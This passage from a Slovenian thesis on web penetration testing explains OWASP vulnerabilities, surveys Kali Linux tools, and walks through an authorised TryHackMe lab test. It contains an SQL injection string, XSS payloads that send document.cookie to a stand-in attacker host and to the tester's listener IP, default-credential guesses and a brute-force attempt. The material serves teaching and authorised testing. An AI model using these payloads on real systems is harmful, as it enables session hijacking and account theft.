Scenarij 2: Prav tako aplikacija, ki slepo zaupa ogrodju za preslikavo iz objektnega v relacijski model, denimo Hibernate in Hibernate Query Langu- age (HQL), lahko ima ranljivo poizvedbo:
1 Q u e r y p o i z v e d b a H Q L = s e s s i o n . c r e a t e Q u e r y (" F R O M u p o r a b n i k i W H E R E u p o r a b n i k _ i d = ’ " + r e q u e s t . g e t P a r a m e t e r (" id ") + " ’ ") ;
V obeh primerih lahko napadalec poˇslje parameter, ki mu omogoˇci, da se vrnejo vsi podatki iz tabele “uporabniki”. To stori tako:
1 h t t p :// domena - a p l i k a c i j e / u p o r a b n i k ? id = ’ OR ’1 ’= ’1
2.7.2 Vrivanje zlonamerne kode v skriptnem jeziku (XSS)
Pri tej ranljivosti gre za vstavljanje skripte oz. izvrˇsljive kode v samo stran aplikacije, ki se potem izvede na strani uporabnika, torej jo izvede brskalnik.
Teˇzave se pojavijo, ˇce aplikacije ne oˇcisti oz. ne validira podatkov in jih poˇslje na streˇznik. Glavni objekt v spletni aplikaciji, ki omogoˇca to ranljivost je
<textarea> ali <input type=text>. Ranljivost omogoˇca krajo identite ali
zaupnih podatkov, obhod omejitev itd. Analiza ranljivosti je predstavljena v tabeli 2.3.
Vektorji napada Varnostna ˇsibkost/luknja Uˇcinek Izkoristljivost: 3 Razˇsirjenost: 3 Zaznavnost: 3 Tehniˇcen: 2
Ranljivost je mogoˇce odkriti z avtomatiziranimi orodji, in sicer vse oblike
napadov XSS (odzivni XSS, shranjen XSS, DOM XSS).
XSS je druga najbolj razˇsirjena ranljivost v dokumentu OWASP Top Ten, najdemo pa jo v pribliˇzno 2/3 vseh aplikacij na spletu.
V tehnologijah, kot so PHP, J2EE / JSP in ASP, lahko najdemo nekatere ranljivosti XSS z avtomatiziranimi orodji.
Uˇcinek je srednji za odzivni XSS in DOM XSS ter velik za shranjen XSS, ki v primeru, da se izvede v brskalniku ˇzrtve, omogoˇca krajo poverilnih podatkov ali sej ali dostavo zlonamerne programske opreme uporabniku.
Tabela 2.3: Analiza ranljivosti XSS
Kdaj je aplikacija ranljiva?
Glede na obliko loˇcimo tri razliˇcne napade XSS:
• Zrcalni XSS:Aplikacija ali API vsebuje nevalidirane vhodne podatke uporabnika kot del izhoda v HTML. Uspeˇsen napad omogoˇca napa- dalcu, da se izvede sporna koda HTML ali JavaScript v brskalniku ˇzrtve. Obiˇcajno mora napadeni uporabnik sam komunicirati z brskal- nikom oz. aplikacijo, da se napad izvede (npr. da uporabnik pritisne povezavo, ki ga usmeri na napadalˇcevo spletno stran).
• Shranjeni XSS: Aplikacija ali API shrani neoˇciˇsˇcen in nepreverjen vnos uporabnika, s katerim je kasneje v interakciji nek drug uporab- nik ali sistemski administrator. Shranjeni XSS predstavlja za spletne aplikacije zelo veliko varnostno tveganje.
• DOM XSS:Razliˇcna ogrodja JavaScript, API-ji in enostranske (angl.
single-page) aplikacije, ki dinamiˇcno vkljuˇcujejo podatke, ki jih nadzo- ruje napadalec, na strani, ki je ranljiva za napade DOM XSS.
Najbolj tipiˇcni napadi XSS so povezani s prevzemom raˇcuna, zamenjavo vozliˇsˇca DOM, krajo piˇskotkov in sej, napadi na uporabnikove brskalnike, kot so prenos zlonamerne programske opreme, beleˇzenje tipkanja (angl. key logging).
Primer napadov
Scenarij 1: Aplikacija uporablja nepreverjene in neoˇciˇsˇcene podatke v delu kode HTML brez validacije in odstranitve nevarnih elementov:
1 S t r i n g H T M L _ s t r a n += " < i n p u t n a m e = "k o m e n t a r" t y p e = "t e x t"
v a l u e = ’ " + r e q u e s t . g e t P a r a m e t e r (" k o m e n t a r ") + " ’ > ";
Napadalec lahko manipulira “komentar”parameter in s tem izvede napad XSS. To stori tako:
1 < script > d o c u m e n t . w r i t e ( ’ < img src =" h t t p .// www . n a p a d a l e c . sl /?
p i s k o t e k = ’+ d o c u m e n t . c o o k i e + ’" / > ’) ; </ script >
Uporabnik, ki bo odprl stran, kjer bo shranjen zgornji komentar, bo ˇzrtev napada XSS, saj se bo njegov piˇskotek prenesel na napadalˇcevo spletno stran.
Napadalec bo na ta naˇcin lahko ukradel uporabnikovo sejo.
2.7.3 Neustrezno overjanje
Deli aplikacije, ki predstavljajo funkcije, ki so tesno povezane z avtenti- kacijo in upravljanjem sej, so pogosto implementirane nepravilno in s tem omogoˇcajo napadalcem, da pridobijo uporabniˇska imena, gesla ali sejne ˇzetone ali da izrabijo druge ranljivosti in s tem pridobijo identiteto uporabnikov (trajno ali zaˇcasno) [15]. Analiza ranljivosti je predstavljena v tabeli 2.4.
Vektorji napada Varnostna ˇsibkost/luknja Uˇcinek Izkoristljivost: 3 Razˇsirjenost: 2 Zaznavnost:2 Tehniˇcen: 3
Za napad se uporabijo prosto dostopna orodja, ki omogoˇcajo napad z grobo silo in napad z uporabo slovarja.
Uporabijo se milijoni kombinacij veljavnih uporabniˇskih imen in gesel ali pa napadalci preizkusijo privzete uporabniˇske prijavne podatke.
Neustrezno overjanje je zelo razˇsirjeno.
Razlog za to sta
zasnova in implementacija sistemov za obvladovanje identitet in dostopa.
Obvladovanje sej je kljuˇcnega pomena pri nadzoru
avtentikacije in dostopa ter je prisotno v vseh aplikacijah, ki to potrebujejo.
To ranljivost lahko napadalci zaznajo roˇcno in jo izkoristijo z uporabo avtomatiziranih orodij, ki omogoˇcajo napade z uporabo seznamov gesel in slovarjev.
ˇZe v primeru, da napadalec pridobi dostop do le nekaj raˇcunov ali ˇse v slabˇsem primeru do skrbniˇskega raˇcuna, lahko ogrozi celoten sistem. Uˇcinek uspeˇsnega napada je odvisen od problemske domene aplikacije. To pomeni, da lahko omogoˇci krajo
identitete, razkritje obˇcutljivih informacij itd.
Tabela 2.4: Analiza ranljivosti neustreznega overjanja
Kdaj je aplikacija ranljiva?
Potencialne avtentikacijske ranljivosti obstajajo, ˇce aplikacija:
• omogoˇca avtomatizirane napade, kjer napadalec preizkuˇsa sezname kom- binacij veljavnih uporabniˇskih imen in gesel;
• omogoˇca napad z grobo silo (angl. brute force);
• dovoljuje uporabo privzetih, ˇsibkih in pogosto uporabljenih gesel;
• uporablja varnostno ˇsibko metodo za obnovo prijavnih podatkov in proces pozabljenega gesla;
• v bazo shranjuje gesla v obliki navadnega besedila oz. neustrezno zgoˇsˇcena;
• uporablja neustrezno veˇcstopenjsko overjanje ali pa ga sploh ne upora- blja;
• razkriva identifikator seje v naslovu URL;
• po uspeˇsni prijavi ne zamenja identifikatorja seje;
• napaˇcno razveljavi identifikator seje, tako da po odjavi uporabniˇski ˇzetoni ali seje niso pravilno razveljavljeni.
Primeri napadov
Scenarij 1: Napadalec uporabi orodja za izvedbo napada z grobo silo ali napada s slovarjem, kjer uporabi seznam uporabniˇskih imen in gesel. ˇCe apli- kacija ne zagotavlja zaˇsˇcite pred podobnimi napadi, jo je mogoˇce izkoristiti za preverjanje ustreznosti veˇc uporabniˇskih imen in gesel.
Scenarij 2: Veˇcina avtentikacijskih napadov se zgodi zaradi uporabe gesla kot edinega dejavnika preverjanja pristnosti uporabnikove identitete. Or- ganizacije se spodbuja, da za zmanjˇsanje varnostnega tveganja uporabijo
veˇcstopenjsko overjanje, vendar ob nepravilni implementaciji tudi ta meha- nizem ne zagotavlja boljˇse zaˇsˇcite.
Scenarij 3: Napaˇcno implementiran ˇcasovni potek seje. ˇCe se uporabnik na javnem raˇcunalniku ne odjavi, se lahko napadalec prijavi v aplikacijo ˇcez nekaj ˇcasa in se bo ˇse vedno lahko avtenticiral kot uporabnik.
Scenarij 4: Napaˇcno implementiran ˇzeton. Vˇcasih so v ˇzetonih podatki, ki razkrivajo preveˇc informacij o uporabnikovih podatkih. To lahko napadalec izkoristi za napad s slovarjem, kjer uporabi seznam uporabniˇskih imen in gesel.
2.7.4 Izpostavljenost obˇ cutljivih podatkov
Nekatere spletne aplikacije in API-ji ne zagotovijo pravilne zaˇsˇcite za obˇcutljive podatke. Napadalci lahko pridobijo ali spremenijo ˇsibko zavarovane podatke in jih uporabijo za kriminalne namene. Obˇcutljivi podatki so brez doda- tne zaˇsˇcite lahko kompromitirani, zato se uporabi npr. ˇsifriranje shranjenih podatkov. Posebna pozornost in ukrepi pa so potrebni, ko se obˇcutljivi po- datki izmenjujejo z brskalnikom [15]. Analiza ranljivosti je predstavljena v tabeli 2.5.
Kdaj je aplikacija ranljiva?
Za aplikacijo je treba najprej zagotoviti zaˇsˇcito shranjenih podatkov in po- datkov med prenosom. Prav tako je treba biti previden pri zaˇsˇciti obˇcutljivih podatkov, kot so gesla, zdravstveni zapisi, ˇstevilke banˇcnih kartic ipd., ˇse po- sebej, kadar je ravnanje z njimi zakonsko predpisano. V takˇsnem primeru je treba za aplikacijo preveriti:
• Ali se kakˇsni podatki (ki so zelo obˇcutljivi) prenaˇsajo v obliki navadnega
Vektorji napada Varnostna ˇsibkost/luknja Uˇcinek Izkoristljivost: 2 Razˇsirjenost: 3 Zaznavnost: 2 Tehniˇcen: 3 Napadalci se raje kot za
deˇsifriranje podatkov odloˇcijo za krajo kljuˇcev, izvedbo napada z vmesnim ˇ
clenom (angl. man-in-the-middle), da pridobijo podatke v obliki navadnega besedila. Za takˇsne napade je po navadi potreben roˇcen pristop. Deˇsifriranje podatkov, ki so jih napadalci pridobili iz podatkovne baze, se opravi z orodji, ki za moˇc procesiranja uporabijo grafiˇcno kartico.
Napad na to ranljivost je bil v zadnjih letih najbolj pogost uˇcinkovit napad. Razlog za to je, da se ne ˇsifrirajo obˇcutljivi podatki. Pogost razlog za podobne napade je uporaba ˇsibkih kljuˇcev za izraˇcun zgoˇsˇcene vrednosti obˇcutljivih podatkov (npr. gesla) ali ˇsibkih ˇsifrirnih
algoritmov.
Ce pride do vdora, potemˇ so ogroˇzeni vsi podatki, ki so obˇcutljivi in niso zaˇsˇciteni. Ti podatki so po navadi obˇcutljivi osebni podatki (gesla, zdravstveni zapisi, ˇstevilke kreditnih kartic itd.), ki bi morali biti zaˇsˇciteni, kot to doloˇcajo zakoni.
Tabela 2.5: Analiza ranljivosti izpostavljenosti obˇcutljivih podatkov
besedila? To zadeva prenos prek protokolov HTTP, SMTP in FTP.
Posebej nevaren je zunanji promet prek interneta, preveriti pa je treba tudi notranji promet, na primer med spletnimi streˇzniki in zalednimi sistemi.
• Ali so obˇcutljivi podatki shranjeni v obliki navadnega besedila (to vkljuˇcuje tudi varnostne kopije)?
• Ali se pri ˇsifriranju podatkov uporabljajo ˇsibki ali zastareli algoritmi?
• Ali so v uporabi privzete vrednosti ˇsifrirnih kljuˇcev ali ˇsibki ˇsifrirni kljuˇci in ali se kljuˇci po doloˇcenem ˇcasu ne zamenjajo?
• Ali ˇsifriranje ni izvajano na vseh ravneh aplikacije?
• Ali odjemalci ne preverijo certifikata na strani streˇznika?
Primeri napadov
Scenarij 1: Aplikacija za ˇsifriranje gesel uporabnikov v podatkovni bazi uporablja samodejno ˇsifriranje, vendar so ti podatki samodejno deˇsifrirani, ko so zahtevani, kar pomeni, da so podatki v primeru uspeˇsnega napada vri- vanja zlonamerne kode SQL pridobljeni v obliki navadnega besedila.
Scenarij 2: Spletna aplikacija ne uporablja TLS za vse strani. Napadalec spremlja omreˇzni promet, degradira povezavo HTTPS v HTTP, prestreˇze zahteve in ukrade uporabniˇske sejne piˇskotke. Napadalec lahko potem upo- rabi piˇskotek in ukrade avtenticirano sejo uporabnika. S tem lahko dostopa do njegovega raˇcuna in pregleduje njegove podatke.
Scenarij 3: Podatkovna baza, kjer so shranjena gesla, uporablja enostavne zgoˇsˇcene vrednosti in ne doda nakljuˇcnih vrednosti pri shranjevanju gesel.
Neka druga ranljivost omogoˇci, da napadalec pridobi vsebino podatkovne baze z gesli. Vse zgoˇsˇcene vrednosti, pri izraˇcunu katerih ni bilo uporablje- nih nakljuˇcnih vrednosti, so lahko deˇsifrirane z uporabo mavriˇcne tabele, ki vsebuje zgoˇsˇcene vrednosti z ujemajoˇcimi vrednostmi. Enostavne zgoˇsˇcene vrednosti pa so lahko deˇsifrirane z orodji, ki jih poganja grafiˇcna kartica.
Kali Linux
3.1 Na sploˇ sno o operacijskem sistemu Kali Linux
Kali Linux je varnostno usmerjena distribucija Linuxa, ki temelji na De- bianu [9]. Operacijski sistem je preimenovana razliˇcica Backtrack. Back- track je imel zelo velik repozitorij “open-source”orodij za hekanje omreˇzja, brezˇziˇcnega omreˇzja, penetracijskega testiranja spletnih aplikacij in podobno.
Ker je Kali naslednik Backtracka, vsebuje veˇcino orodij in programov iz Back- tracka. Glavni cilj Kali Linuxa je narediti preprosto prenosljiv operacijski sis- tem, ki ga je mogoˇce namestiti na napravah s tehnologijo ARM (chromebook, tablice, telefoni itd.), kar pomeni, da ga imamo lahko vedno pri roki [7].
Kali Linux uporablja repozitorij, kjer so na voljo orodja, ki so “open- source”, kar pomeni, da so brezplaˇcna za uporabo. Vendar pa imajo tovrstna orodja tudi pomanjkljivosti. Ena od glavnih je, da potrebujejo veliko odvi- snosti, ko jih namestimo na sistem Linux, pa tudi, da morajo biti nameˇsˇcena v vnaprej doloˇcenem zaporedju. Tudi dokumentacija je velikokrat pomanj- kljivo napisana. Reˇsitev za to pa ponuja Kali Linux, saj ima ˇze ob namestitvi veliko nameˇsˇcenih (angl. preinstalled) programov z vsemi soodvisnimi pa- keti [7]. Operacijski sistem je pogosto posodobljen in omogoˇca hekerju, da se osredotoˇci na hekanje, in ne na pripravo okolja ali namestitve orodij.
23
3.1.1 Trenutna verzija in specifikacije
Trenutna verzija OS Kali Linux je 2021.2. Za namestitev je potrebna zdruˇzljiva raˇcunalniˇska strojna oprema. Kali je podprt na platformah amd64 in i386, priporoˇca se slika adm64 (angl. image). Uporaba je mogoˇca na strojni opremi z UEFI in starejˇsih sistemih z BIOS-om.
3.1.2 Kratek pregled zgodovine
Kali Linux sta razvila Mati Aharon in Devon Kearns (oba ˇclana ekipe Offen- sive security) skozi postopek preprogramiranja BackTracka, ki je bil pred- hodnik Kali Linuxa. Tretji razvijalec se je pridruˇzil kot strokovnjak za OS Debian. Kali je bil zasnovan s poudarkom na reviziji jedra (angl. kernel auditing), od koder je tudi dobil ime Kernel Auditing Linux. Predstava, da ime prihaja od hindujske boginje Kali, je napaˇcna [9].
3.2 Orodja za penetracijsko testiranje
Penetracijski preizkuˇsevalci pri penetracijskem testu uporabljajo razliˇcna orodja, odvisno od tega, kakˇsno varnostno pomanjkljivost preiskujejo. Nekatera orodja se izvajajo kar iz ukazne lupine, spet druga imajo grafiˇcni vmesnik.
Orodja se delijo na avtomatizirana in roˇcna. Avtomatizirana omogoˇcajo hi- ter pregled aplikacije za znanimi ranljivostmi in napadi, vendar je treba za strukturiran napad po meri uporabiti roˇcna orodja, za to pa je potrebnega veˇc znanja in razumevanja aplikacij, ki jih testiramo.
3.2.1 Reconnoitre
Reconnoitre je izvidniˇsko orodje, ki avtomatizira pridobivanje informacij in storitev ter pri tem gradi imeniˇsko strukturo, kamor shrani rezultate, najdbe in ranljivosti za gostitelja, ki ga testiramo, shrani pa tudi priporoˇcene ukaze za izvedbo nad gostiteljem [17].
Uporaba orodja je precej preprosta, v ukazno vrstico napiˇsemo ime orodja in ˇzeljene argumente ter poˇzenemo orodje. Pri uporabi lahko nastavimo pre- gled enega ali veˇc ciljnih gostiteljev (raˇcunalnikov) in doloˇcimo svoje ukaze, ki jih ˇzelimo izvesti. Lahko doloˇcimo preiskovanje streˇznikov DNS med gosti- telji in preiskovanje storitev med gostitelji, pa tudi, da se preiskovanje izvede hitro – hiter naˇcin (angl. quick mode). Na sliki 3.1 je prikazan primer izpisa programa.
Slika 3.1: Primer izpisa programa Reconnoitre
3.2.2 Nmap
Nmap je eno od najbolj popularnih, robustnih in vsestranskih orodij za pre- iskovanje vrat, kar jih je na voljo. Orodje je bilo veˇc kot desetletje aktivno podprto z razvojem in ima veliko veˇc funkcionalnosti kot le preiskovanje vrat raˇcunalnikov. Je odprtokodno orodje, ki je popularno med penetracijskimi preizkuˇsavalci. Popularno je tudi med sistemskimi in omreˇznimi skrbniki, ki ga uporabljajo za popis omreˇzja, upravljanje urnikov za posodabljanje stori-
tev in beleˇzenje ˇcasa delovanja gostiteljev in storitev. Nmap uporablja pakete IP in druge naˇcine pri doloˇcanju, kateri gostitelji so na voljo na omreˇzju, ka- tere storitve ponujajo ti gostitelji, katere operacijske sisteme uporabljajo, kakˇsne poˇzarne zidove imajo in ˇse mnogih drugih lastnosti. Zasnovan je bil za hitro preiskovanje veˇcjih omreˇzij, vendar deluje odliˇcno tudi, ˇce ga ˇzelimo uporabiti proti omreˇzju z le enim gostiteljem. Podprt je na vseh veˇcjih ope- racijskih sistemih (Linux, Mac OS, Windows) [14].
Da si lahko penetracijski preizkuˇsevalci ˇse nekoliko avtomatizirajo delo, lahko s tem orodjem uporabijo tudi Nmap Scripting Engine (NSE), kar omogoˇca, da se zaˇzenejo ˇstevilne ukazne datoteke, ki avtomatizirajo odkri- vanje in podrobnejˇse preiskovanje ranljivosti. Te ukazne datoteke izvajajo ˇstevilne funkcionalnosti, od preˇstevanja DNS (angl. DNS enumeration) in napadov z grobo silo do identifikacijskih ranljivosti. Te ukazne datoteke so v posebni mapi in jih je preprosto uporabiti z ukazom nmap orodja.
3.2.3 Burp Suite
Burp Suite je aplikacija z implementiranim grafiˇcnim vmesnikom, ki vsebuje ogromno orodij, namenjenih za penetracijsko testiranje spletnih aplikacij.
Najbolj znana je po zelo uˇcinkovitem posredovalskem orodju (angl. proxy tool). Ima odprtokodno in plaˇcljivo razliˇcico, glavna razlika med njima pa je, da ima plaˇcljiva razliˇcica odliˇcen samodejni preiskovalec ranljivosti in konfiguracijskih pomanjkljivosti ter ˇse nekaj drugih malenkosti.
Aplikacija ima ogromno orodij in znaˇcilnosti za avtomatizirano in roˇcno testiranje spletnih aplikacij. V nadaljevanju bomo naˇsteli le nekaj najpopu- larnejˇsih. Pri roˇcnem testiranju:
• lahko uporabimo posredovalec za brskalnik, kjer lahko prestreˇzemo zah- teve, ki jih brskalnik poˇsilja in prejema, ter z njimi manipuliramo;
• imamo vse podatke o spletni aplikaciji zbrane v naˇcrtu ciljne aplikacije (angl. target site map);
• lahko odkrijemo skrite funkcionalnosti z avtomatiziranim raziskovalcem za skrite funkcionalnosti;
• lahko zlahka preverimo kvaliteto nakljuˇcnosti pri podatkih, ki bi naj bili nepredvidljivi (ˇzetoni itd.).
Pri avtomatiziranem testiranju:
• aplikacija omogoˇca napade z grobo silo in fuziranjem, to je omogoˇceno na naˇcin poˇsiljanja veˇc zahtev HTTP z razliˇcno vsebino;
• aplikacija omogoˇca preprosto poizvedbo po rezultatih napadov in nam na ta naˇcin omogoˇca, da hitro najdemo zanimivosti;
• lahko preprosto sestavimo napade CSRF;
• lahko nastavimo pasivno skeniranje, ki poskuˇsa uganiti in poiskati ran- ljivosti brez uporabnikovega posredovanja.
3.2.4 Nikto
Nikto je skener spletnih aplikacij, ki izvaja ˇstevilne preizkuse nad spletnim streˇznikom, ki bi lahko predstavljali njegovo potencialno ranljivost. Pri pre- izkusih uporabi veˇc kot 6700 nevarnih datotek/programov [13] in preveri za- starelost razliˇcic veˇc kot 1250 streˇznikov [13]. Prav tako preveri konfiguracijo streˇznika in poskuˇsa indentificirati spletne streˇznike in programsko opremo.
Nikto ni implementiran kot pritajeno orodje, saj poskuˇsa zakljuˇciti ske- niranje v ˇcim krajˇsem ˇcasu, zato pusti svoj odtis v dnevniku streˇznika.
Veliko potencialnih ranljivosti, ki jih orodje najde, pa niso nujno ranljivo- sti na streˇzniku ali pri aplikaciji – lahko so samo informativne narave. Take informacije nam lahko vˇcasih vseeno pridejo prav, ko na primer sestavljamo nek drug napad.
3.2.5 Dirbuster
Dirbuster je javanska aplikacija z veˇc nitmi, ki se uporablja za napad spletnih streˇznikov/aplikacij in na ta naˇcin odkriva imenike in datoteke. Pogosto se v spletnih aplikacijah nahajajo strani, ki so navadnemu uporabniku skrite in jih lahko odkrijemo le na ta naˇcin. Vendar je aplikacije takˇsnega kalibra efektivna toliko, kolikor dober seznam moˇznih vrednosti ima. Dirbuster ima privzeto nameˇsˇcenih tudi 9 seznamov, zaradi ˇcesar je izjemno efektiven. Ti seznami so nastali z lezenjem po spletnih aplikacijah in zbiranjem podatkov, ki jih razvijalci dejansko uporabljajo. Dirbuster pa ima tudi opcijo ˇcistega napada z grobo silo, ki pa zakrije vse skrite sezname in datoteke spletnih aplikacij.
3.2.6 Netcat
Netcat je zelo popularno orodje, ki je izˇslo leta 1996. Je omreˇzni program, ki je zasnovan za branje in pisanje podatkov prek protokolov TCP in UDP in pri tem uporablja sklad TCP/IP. V raˇcunalniˇskem ˇzargonu mu pravijo “ˇsvicarski vojni noˇz”, saj jima je skupna veˇcfunkcionalnost. Netcat se lahko uporablja v samostojnih aplikacijah kot tudi zaledno orodje v veliko razliˇcnih aplikacijah.
Nekatere njegove glavne funkcionalnosti so skeniranje vrat, prenos datotek, prisluˇskovanje povezavi na doloˇcenih vratih, in kar je v naˇsem primeru najbolj uporabno, zadnja vrata (angl. backdoor) [10]. To bo priˇslo v poˇstev v praktiˇcnem delu dimplomske naloge.
Ime izhaja iz programa Cat, ki bere in piˇse podatke iz datotek. Netcat deluje zelo podobno, vendar prek mreˇznih povezav. V zaˇcetku je bil imple- mentiran za sisteme Unix, kasneje pa so ga razvili tudi za mnoge sisteme Linux in tudi za OS Windows [10].
3.2.7 Hashcat
Hashcat je orodje, ki sicer ni privzeto nameˇsˇceneno v OS Kali Linux. Je eno od najnaprednejˇsih in najhitrejˇsih orodij za obnovitev gesel. Podpira pet
naˇcinov napada za veˇc kot 200 optimiziranih ˇsifrirnih algoritmov. Podpira uporabo procesorja, grafiˇcne kartice in preostalih strojnih pospeˇsevalnikov na vseh treh velikih platformah (Windows, Linux, OSX) [6].
Primer penetracijskega preizkusa
4.1 Izvedba penetracijskega preizkusa
V tem poglavju bomo predstavili penetracijski preizkus spletne aplikacije, ki teˇce na samostojnem streˇzniku, katerega naslov IP poznamo. Dostop do streˇznika in izvedba napada nanj sta omogoˇcena v okviru storitve Tryhackme1. Ta svojim uporabnikom omogoˇca izvajanje penetracijskih testov aplikacij in streˇznikov, ki jih ponuja. Po doloˇcenem ˇcasu se raˇcunalniki, na katerih teˇcejo spletne aplikacije, samodejno ugasnejo, in ko jih znova zaˇzenemo, jim je do- deljen drugaˇcen naslov IP. To je razlog, da je naslov IP spletne aplikacije, ki jo testiramo, na nekaterih slikah razliˇcen (raˇcunalnik, na katerem teˇce spletna aplikacija, smo morali veˇckrat zagnati zaradi potrebe dokumentiranja pene- tracijskega preizkusa). Penetracijski preizkus bomo izvajali kot pooblaˇsˇcena oseba z dovoljenjem lastnika. Aplikacijo bomo testirali z metodo ˇcrne ˇskatle (razdelek 2.3.3), pri tem pa bomo uporabljali operacijski sistem Kali Linux.
Za zaˇcetek, ko o sistemu nimamo ˇse niˇc informacij, poˇzenemo orodje Reconnoitre, ki bo skeniralo gostitelja in nam podalo informacije o storitvah, ki so zagnane na njem, in na katerih vratih se izvajajo (slika 4.1). Podalo
1https://tryhackme.com/
31
Slika 4.1: Izpis orodja Reconnoitre
nam bo tudi predloge ukazov, ki jih lahko zaˇzenemo, da dobimo izˇcrpne informacije.
Prav tako nam ponudi dodatne ukaze, ki jih lahko izvedemo (slika 4.2).
Kot je torej razvidno iz izpisa, sta na gostiteljskem raˇcunalniku pognani storitvi SSH na vratih 22 in HTTP na vratih 80 in 32768. Reconnoitre nam ponudi veliko orodij za nadaljnje iskanje ranljivosti, in sicer Medusa in Hydra za napad z grobo silo na SSH. Ti napadi so zelo redko uporabni in si jih pustimo za konec, ˇce ne najdemo nobene uporabnejˇse varnostne luknje, ki jo lahko izkoristimo.
V naslednjem koraku zaˇzenemo Nmap (slika 4.3).
Iz izpisa izvemo, na katerih vratih na ciljnem raˇcunalniku se izvajajo doloˇceni procesi (to smo sicer ˇze izvedeli v prejˇsnjem koraku). Poleg tega pa lahko vidimo, da je ciljni sistem Ubuntu Linux, da spletna aplikacija na vratih 80 uporablja streˇznik Nginx 1.19.2 in da spletna aplikacija na vratih 32768 uporablja ogrodje Node.js.
Nato poˇzenemo orodje Nikto (slika 4.4), ki nam javi, da glava HTTP X-XSS-Protection ni definirana. To pomeni, da je aplikacija potencialno ranljiva za napad XSS. Poleg tega nam javi, da obstaja datoteka robots.txt.
Nato poˇzenemo orodje Dirbuster (slika 4.5) in mu podamo datoteko z
Slika 4.2: Najdbe orodja Reconnoitre
verjetnimi naslovi strani, ki jih bo poskuˇsal najti.
S slike 4.5 je razvidno, katere strani je Dirbuster naˇsel. Zanimanje nam vzbudi stran /admin, vendar je dostop zavrnjen. Najbrˇz je stran dostopna samo skrbniku; morda nam pride prav kasneje, ko bomo ˇze imeli kakˇsne prijavne podatke skrbnikov.
Preden odpremo spletno aplikacijo, zaˇzenemo pregled ranljivosti v orodju Burp Suite (slika 4.6). Vendar nam tudi ta ne izpostavi kakˇsne kljuˇcne ran- ljivosti, ki bi jo lahko izkoristili.
Naslednji korak je torej, da v brskalniku odpremo spletno aplikacijo na vratih 80 (slika 4.7).
Na zaˇcetni strani vidimo dva produkta, in sicer prenosnik Dell in kaktus.
Vidimo lahko, da sta ju objavila uporabnikamichaelinjake. Ta uporabnika imata oˇcitno ustvarjen raˇcun in sta morda celo uporabnika sistema, v kate-
Slika 4.3: Izpis orodja Nmap
Slika 4.4: Izpis orodja Nikto
rega skuˇsamo vdreti, zato si ju zabeleˇzimo. ˇCe izberemo objavo prenosnika Dell, se nam odpre stran s podrobnostmi objave (slika 4.8):
Slika 4.5: Izpis orodja Dirbuster
Na strani s podrobnosti objave lahko vidimo dve zanimivi povezavi, in sicer kontaktiraj atvorja objave in prijavi objavo skrbniku. Ce poskusimoˇ kontaktirati Michaela ali prijaviti objavo skrbniku, smo preusmerjeni na stran za prijavo (oˇcitno lahko omenjene funkcionalnosti uporabljajo le prijavljeni uporabniki) (slika 4.9).
Zdaj poskusimo z napadom na funkcionalnost prijave. Poskusili bomo z roˇcnimi in avtomatiziranimi napadi. Najprej se poskusimo prijaviti z nekaj privzetimi prijavnimi podatki, kot so:
• admin:admin,
• root:root,
• user:pass,
• test:test,
Slika 4.6: Izpis orodja Burp Suite
Slika 4.7: Zaˇcetna spletna stran
Slika 4.8: Podrobnosti objave prenosnika Dell
Slika 4.9: Prijavna stran spletne aplikacije
• administrator:administrator.
To nam ne prinese ˇzelenih rezultatov; oˇcitno raˇcun s privzetimi prijav- nimi podatki ne obstaja. Naslednja ideja je, da poskusimo napad z grobo silo (slika 4.10), pri tem pa uporabimo uporabniˇski imeni, ki smo ju prej zasledili na zaˇcetni strani, tj. michael in jake. Napad bomo izvedli v orodju Burp Suite. Najprej poˇsljemo prijavno zahtevo HTTP v orodje Burp Suite, kjer izberemo vrsto napada “Cluster bomb”. Kot prvi parameter podamo uporabniˇski imeni michael in jake, kot drugega pa seznam gesel, ki jih ˇzelimo
preizkusiti. Za seznam izberemo 1000 najpogostejˇsih gesel, dostopnih na po- vezavi: 1000 najpogostejˇsih gesel. ˇSe preden se napad konˇca, lahko vidimo, da zaˇcne streˇznik po 100. poslani zahtevi vraˇcati drugaˇcne odgovore, in sicer s statusom 429. To pomeni, da smo poslali preveˇc zahtev. Na to pogosto ranljivost aplikacija oˇcitno ni ranljiva.
Slika 4.10: Napad z grobo silo na uporabniˇski obrazec spletne aplikacije
Naslednja stvar, ki jo poskusimo, je napad z vrivanjem zlonamerne kode v prijavnem obrazcu (slika 4.11). Ponovno uporabimo orodje Burp Suite, vendar tokrat uporabimo “sniper”napad, za parameter pri napadu upora- bimo uporabnisko ime. Kot seznam moˇznih vrednosti za napad vrivanja zlonamerne kode uporabimo nekatere preproste poizvedbe, vendar sodeˇc po rezultatih napada na sliki 4.11 prijavni obrazec ni ranljiv za to ranljivost.
V naslednjem koraku se registriramo s podatki user:pass. Zdaj ponovno odpremo prejˇsnjo objavo in izberemo povezavo za kontaktiranje avtorja. Od- pre se nam nova stran (slika 4.12).
Slika 4.11: Napad z vrivanjem zlonamerne kode na uporabniˇski obrazec spletne aplikacije
Slika 4.12: Spletna stran za kontaktiranje avtorja objave
Na tem mestu lahko poskusimo z napadom XSS. V polje za sporoˇcilo vnesemo naslednjo kodo:
1 <s c r i p t> d o c u m e n t . w r i t e ( ’ <img src=" h t t p : / / 1 0 . 8 . 1 3 . 2 2 9 : 8 0 0 0 / ? c o o k i e = ’ + d o c u m e n t . c o o k i e + ’ " / > ’) < /s c r i p t>
Razlaga zgornje kode HTML je sledeˇca: V html element za vnos besedila vnesemo kodo z elementom script, kar pomeni, da ˇce streˇznik kode ne bo preveril, oˇcistil in odstranil nevarnih elementov, potem je aplikacija ranljiva za napad XSS in bo Michael, ˇce bo pogledal sporoˇcilo, na naˇs streˇznik poslal vrednost svojega piˇskotka (in poslediˇcno ˇstevilko seje). Tega lahko izkori- stimo za prevzem njegove seje.
Preden poˇsljemo sporoˇcilo, zaˇzenemo streˇznik HTTP na naˇsem raˇcunalniku (slika 4.13), kjer posluˇsamo povezave, ki bi nam razkrile piˇskotke drugih upo- rabnikov. Na ta naˇcin bomo v primeru uspeˇsne povezave dobili ˇzeton ciljnega uporabnika.
Slika 4.13: Zagon spletnega streˇznika na lokalnem raˇcunalniku
Ce po nekaj minutah ne dobimo povezave, sklepamo, da na ta naˇˇ cin ne bomo mogli izvesti napada XSS. ˇCas je, da poiˇsˇcemo druge ranljivosti.
Nismo ˇse preverili povezave New listing in Messages v orodni vrstici. Pa poglejmo prvo povezavo New listing (slika 4.14). Povezava nam odpre stran, kjer lahko ustvarimo novo objavo.
